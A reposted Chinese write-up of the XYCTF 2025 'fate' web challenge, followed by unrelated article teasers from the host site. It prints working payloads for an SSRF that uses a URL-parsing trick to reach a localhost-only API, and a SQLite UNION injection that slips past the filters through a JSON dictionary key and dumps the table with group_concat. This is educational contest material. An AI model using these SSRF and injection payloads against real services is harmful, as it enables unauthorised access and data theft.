利用解析差异SSRF + sqlite注入 + waf逻辑漏洞 -- xyctf 2025 fate WP

news2025/4/17 9:39:39

本文章附带TP(Thinking Process)!

#!/usr/bin/env python3
# 导入所需的库
import flask  # Flask web框架
import sqlite3  # SQLite数据库操作
import requests  # HTTP请求库
import string  # 字符串处理
import json  # JSON处理

app = flask.Flask(__name__)  # 创建Flask应用实例
blacklist = string.ascii_letters  # 所有英文字母(大小写)作为黑名单


# 将二进制字符串转换为普通字符串
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    # 将二进制字符串按每8位分割
    binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
    # 将每8位二进制转换为对应的字符
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output


# 代理路由,用于转发请求
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')  # 获取请求参数中的url
    if not url:
        return flask.abort(400, 'No URL provided')  # 如果没有提供url,返回400错误

    target_url = "http://lamentxu.top" + url  # 构造目标URL
    # 检查url中是否包含黑名单中的字母
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    # 防止SSRF攻击,不允许包含点号
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    # 发送请求到目标URL
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)


# 数据库查询函数
def db_search(code):
    with sqlite3.connect('database.db') as conn:  # 连接SQLite数据库
        cur = conn.cursor()
        # 执行SQL查询,对输入进行多次UPPER转换(可能是为了防御某些攻击)
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))")
        found = cur.fetchone()  # 获取查询结果
    return None if found is None else found[0]  # 返回结果或None


# 首页路由
@app.route('/')
def index():
    print(flask.request.remote_addr)  # 打印访问者的IP地址
    return flask.render_template("index.html")  # 渲染并返回index.html模板


# 1337路由,提供API搜索功能
@app.route('/1337', methods=['GET'])
def api_search():
    # 只允许本地访问
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')  # 获取参数0
        if code == 'abcdefghi':  # 检查参数0是否为特定值
            req = flask.request.args.get('1')  # 获取参数1
            try:
                # 将二进制字符串转换为普通字符串
                req = binary_to_string(req)
                print(req)
                # 解析JSON(注释中提到认为JSON比Pickle更安全)
                req = json.loads(req)
            except:
                flask.abort(400, "Invalid JSON")  # JSON解析失败返回400
            # 检查JSON中是否包含name字段
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            # 检查name长度
            if len(name) > 6:
                flask.abort(400, "Too long")
            # 防止SQL注入,检查特殊字符
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            这里有隐藏的WAF(Web应用防火墙)规则
            """

            # 查询数据库
            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")  # 未找到记录返回404

            return {'Fate': fate}  # 返回查询结果
        else:
            flask.abort(400, "Hello local, and hello hacker")  # 参数0不正确返回400
    else:
        flask.abort(403, "Only local access allowed")  # 非本地访问返回403


if __name__ == '__main__':
    app.run(debug=True)  # 启动Flask应用,开启调试模式

看起来,我们的第一步是尝试造成ssrf,访问查询api

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')  # 获取请求参数中的url
    if not url:
        return flask.abort(400, 'No URL provided')  # 如果没有提供url,返回400错误

    target_url = "http://lamentxu.top" + url  # 构造目标URL
    # 检查url中是否包含字母
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    # 防止SSRF攻击,不允许包含点号
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    # 发送请求到目标URL
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)

题目没有禁止符号,翻看利用手册尝试利用解析差异访问

 &@0:8080
/proxy?url=%20%26%400%3A8080

成功

/proxy?url=%20%26%400%3A8080

继续传递参数,我们使用双重url编码

 &@0:8080/1337?0=%61%62%63%64%65%66%67%68%69
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569

按照代码逆向编写编码器

def string_to_binary(input_str):
    """将普通字符串转换为8位二进制组成的字符串"""
    binary_str = []
    for char in input_str:
        # 获取字符的ASCII码并转换为二进制,补齐8位前导零
        binary_char = bin(ord(char))[2:].zfill(8)  # [2:]去除0b前缀
        binary_str.append(binary_char)
    return ''.join(binary_str)

a = "/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D"
print(a + string_to_binary('{"name":"test"}'))
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D011110110010001001101110011000010110110101100101001000100011101000100010011101000110010101110011011101000010001001111101

我们现在需要绕过if len(name) > 6:

我们可以试试使用数组,灵感来自于我刚打完的 Cyber Apocalypse CTF 2025

len(['a'])

的输出是1,而且使用数组可以绕过剩下的waf

if '\'' in name: 只有在 ['\'] 时候才成立

但是这会造成一个意外的冒号

{"name":["\'))))))--"]}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('["'))))))--"]'))))))

或者我也可以尝试字典

{"name":{"test":"test"}}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'test': 'test'}'))))))

显然字典更合适,我应该使用union注入继续

import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
  NAME TEXT NOT NULL,
  FATE TEXT NOT NULL
);""")
Fate = [
    ('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'))))))) UNION SELECT FATE FROM FATETABLE--': ''}'))))))
{"name":{"))))))) UNION SELECT FATE FROM FATETABLE--":""}}

只返回了一个结果,我们需要拼接结果

{"name":{"))))))) UNION SELECT group_concat(FATE) FROM FATETABLE--":""}}

成功获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2330639.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

接口异常数组基础题

题目描述 设想你正在构建一个智能家居控制系统。这个系统可以连接多种不同类型的智能设备,如智能灯泡、智能空调和智能门锁。每种设备都有其独特的功能,不过它们也有一些通用的操作,像开启、关闭和获取设备状态等。系统需要提供一个方法来控…

rustdesk折腾手记

背景 我的工作环境:主力电脑是macPro, 另外一台ThinkPad W530作为开发机,装的是LinuxMint,还有一台ThinkPad P15作为服务器。平常显示器接到macPro,在macOS上通过微软的远程桌面连接到另外两台Linux。基本访问比较流畅&#xff0…

使用el-tab 实现两个tab切换

1、主页面 index.vue 2、tab1&#xff1a;school.vue 3、tab2&#xff1a;parent.vue 具体代码如下&#xff1a; <template><div class"app-container"><!-- 使用el-tabs 实现两个组件的切换 --><el-tabs v-model"activeName" typ…

使用Pholcus编写Go爬虫示例

想用Pholcus库来写一个Go的爬虫程序。首先&#xff0c;我得确认Pholcus的当前状态&#xff0c;因为之前听说过它可能已经不再维护了。不过用户可能还是需要基于这个库的示例&#xff0c;所以得先提供一个基本的框架。 首先&#xff0c;我应该回忆一下Pholcus的基本用法。Pholc…

单片机实现触摸按钮执行自定义任务组件

触摸按钮执行自定义任务组件 项目简介 本项目基于RT8H8K001开发板 RT6809CNN01开发板 TFT显示屏(1024x600) GT911触摸屏实现了一个多功能触摸按钮组件。系统具备按钮控制后执行任务的功能&#xff0c;可用于各类触摸屏人机交互场景。 硬件平台 MCU: STC8H8K64U&#xff0…

Ai云防护技术解析——服务器数据安全的智能防御体系

本文深度解析AI云防护技术如何通过智能流量分析、动态行为建模、自适应防御策略构建服务器安全体系。结合2023年群联科技实战案例,揭示机器学习算法在识别新型DDoS攻击、加密流量检测、零日漏洞防御中的技术突破,并附Gartner最新防护效果验证数据。 AI驱动的流量特征建模技术…

JSONP跨域访问漏洞

一、漏洞一:利用回调GetCookie <?php$conn new mysqli(127.0.0.1,root,root,learn) or die("数据库连接不成功"); $conn->set_charset(utf8); $sql "select articleid,author,viewcount,creattime from learn3 where articleid < 5"; $result…

图形裁剪算法

1.学习目标 理解区域编码(Region Code&#xff0c;RC) 设计Cohen-Sutherland直线裁剪算法 编程实现Cohen-Sutherland直线裁剪算法 2.具体代码 1.具体算法 /*** Cohen-Sutherland直线裁剪算法 - 优化版* author AI Assistant* license MIT*/// 区域编码常量 - 使用对象枚举…

R 语言科研绘图第 36 期 --- 饼状图-基础

在发表科研论文的过程中&#xff0c;科研绘图是必不可少的&#xff0c;一张好看的图形会是文章很大的加分项。 为了便于使用&#xff0c;本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中&#xff0c;获取方式&#xff1a; R 语言科研绘图模板 --- sciRplothttps://mp.…

vue 3 从零开始到掌握

vue3从零开始一篇文章带你学习 升级vue CLI 使用命令 ## 查看vue/cli版本&#xff0c;确保vue/cli版本在4.5.0以上 vue --version ## 安装或者升级你的vue/cli npm install -g vue/cli ## 创建 vue create vue_test ## 启动 cd vue_test npm run servenvm管理node版本&#…

【R语言绘图】圈图绘制代码

绘制代码 rm(list ls())# 加载必要包 library(data.table) library(circlize) library(ComplexHeatmap) library(rtracklayer) library(GenomicRanges) library(BSgenome) library(GenomicFeatures) library(dplyr)### 数据准备阶段 ### # 1. 读取染色体长度信息 df <- re…

Python爬虫第6节-requests库的基本用法

目录 前言 一、准备工作 二、实例引入 三、GET请求 3.1 基本示例 3.2 抓取网页 3.3 抓取二进制数据 3.4 添加headers 四、POST请求 五、响应 前言 前面我们学习了urllib的基础使用方法。不过&#xff0c;urllib在实际应用中存在一些不便之处。以网页验证和Cookies处理…

什么是可靠性工程师?

一、什么是可靠性工程师&#xff1f; 可靠性工程师就是负责确保产品在使用过程中不出故障、不给客户添麻烦。 你可以理解为是那种“挑毛病的人”&#xff0c;但不是事后挑&#xff0c;是提前想清楚产品在哪些情况下可能会出问题&#xff0c;然后解决掉。 比如&#xff1a; …

如何根据设计稿进行移动端适配:全面详解

如何根据设计稿进行移动端适配&#xff1a;全面详解 文章目录 如何根据设计稿进行移动端适配&#xff1a;全面详解1. **理解设计稿**1.1 设计稿的尺寸1.2 设计稿的单位 2. **移动端适配的核心技术**2.1 使用 viewport 元标签2.1.1 代码示例2.1.2 参数说明 2.2 使用相对单位2.2.…

【Kafka基础】Kafka 2.8以下版本的安装与配置指南:传统ZooKeeper依赖版详解

对于仍在使用Kafka 2.8之前版本的团队来说&#xff0c;需要特别注意其强依赖外部ZooKeeper的特性。本文将完整演示传统架构下的安装流程&#xff0c;并对比新旧版本差异。 1 版本特性差异说明 1.1 2.8 vs 2.8-核心区别 特性 2.8版本 2.8-版本 协调服务 可选内置KRaft模式 …

Redis-x64-3.2.100.msi : Windows 安装包(MSI 格式)安装步骤

Redis-x64-3.2.100.msi 是 Redis 的 Windows 安装包&#xff08;MSI 格式&#xff09;&#xff0c;适用于 64 位系统。 在由于一些环境需要低版本的Redis的安装包。 Redis-x64-3.2.100.msi 安装包下载&#xff1a;https://pan.quark.cn/s/cc4d38262a15 Redis 是一个开源的 内…

【云计算】打造高效容器云平台:规划、部署与架构设计

引言 随着移动互联网时代的大步跃进&#xff0c;互联网公司业务的爆炸式增长发展给传统行业带来了巨大的冲击和挑战&#xff0c;被迫考虑转型和调整。对于我们传统的航空行业来说&#xff0c;还存在传统的思维、落后的技术。一项新业务从提出需求到立项审批、公开招标、项目实…

DeepSeek底层揭秘——《推理时Scaling方法》内容理解

4月初&#xff0c;DeepSeek 提交到 arXiv 上的最新论文正在 AI 社区逐渐升温。 论文核心内容理解 DeepSeek与清华大学联合发布的论文《奖励模型的推理时Scaling方法及其在大规模语言模型中的应用》&#xff0c;核心在于提出一种新的推理时Scaling方法&#xff0c;即通过动态调…

JavaScript之Json数据格式

介绍 JavaScript Object Notation&#xff0c; js对象标注法&#xff0c;是轻量级的数据交换格式完全独立于编程语言文本字符集必须用UTF-8格式&#xff0c;必须用“”任何支持的数据类型都可以用JSON表示JS内内置JSON解析JSON本质就是字符串 Json对象和JS对象互相转化 前端…

使用 Rsync + Lsyncd 实现 CentOS 7 实时文件同步

文章目录 &#x1f300;使用 Rsync Lsyncd 实现 CentOS 7 实时文件同步前言介绍架构图&#x1f9f1;系统环境&#x1f527;Rsync配置&#xff08;两台都需安装&#xff09;关闭SELinux&#xff08;两台都需&#xff09; &#x1f4e6;配置目标端&#xff08;client&#xff09…